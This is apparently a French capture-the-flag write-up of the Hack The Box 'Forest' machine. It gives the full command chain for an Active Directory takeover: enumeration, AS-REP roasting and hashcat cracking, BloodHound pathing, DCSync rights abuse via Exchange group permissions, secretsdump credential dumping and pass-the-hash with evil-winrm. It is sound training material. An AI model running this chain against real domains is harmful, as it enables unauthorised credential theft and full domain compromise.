← Back to writeups

Forest — AS-REP Roasting et DCSync via Exchange permissions

Reconnaissance

nmap -sV -sC -oA nmap/forest 10.10.10.161

Ports : 88 (Kerberos), 135 (RPC), 389 (LDAP), 445 (SMB), 3268 (Global Catalog). Domaine : htb.local

Énumération utilisateurs

enum4linux -a 10.10.10.161
rpcclient -U "" -N 10.10.10.161 -c "enumdomusers"

Liste d’utilisateurs récupérée, dont svc-alfresco sans pré-auth Kerberos.

AS-REP Roasting

GetNPUsers.py htb.local/svc-alfresco -no-pass -dc-ip 10.10.10.161

Hash AS-REP récupéré :

$krb5asrep$23$svc-alfresco@HTB.LOCAL:...
hashcat -m 18200 hash.txt /usr/share/wordlists/rockyou.txt
# svc-alfresco:s3rvice

BloodHound — cartographie AD

bloodhound-python -u svc-alfresco -p s3rvice -ns 10.10.10.161 -d htb.local -c All

Chemin identifié : svc-alfrescoAccount OperatorsExchange Windows PermissionsWriteDACL sur le domaine → DCSync.

Exploitation — DCSync

net rpc group addmem "Exchange Windows Permissions" svc-alfresco \
  -U htb.local/svc-alfresco%s3rvice -S 10.10.10.161

dacledit.py -action write -rights DCSync -principal svc-alfresco \
  -target-dn 'DC=htb,DC=local' htb.local/svc-alfresco:s3rvice

secretsdump.py htb.local/svc-alfresco:s3rvice@10.10.10.161

Hash NT Administrator : 32693b11e6aa90eb43d32c72a07ceea6

Root

evil-winrm -i 10.10.10.161 -H 32693b11e6aa90eb43d32c72a07ceea6

Root flag récupéré.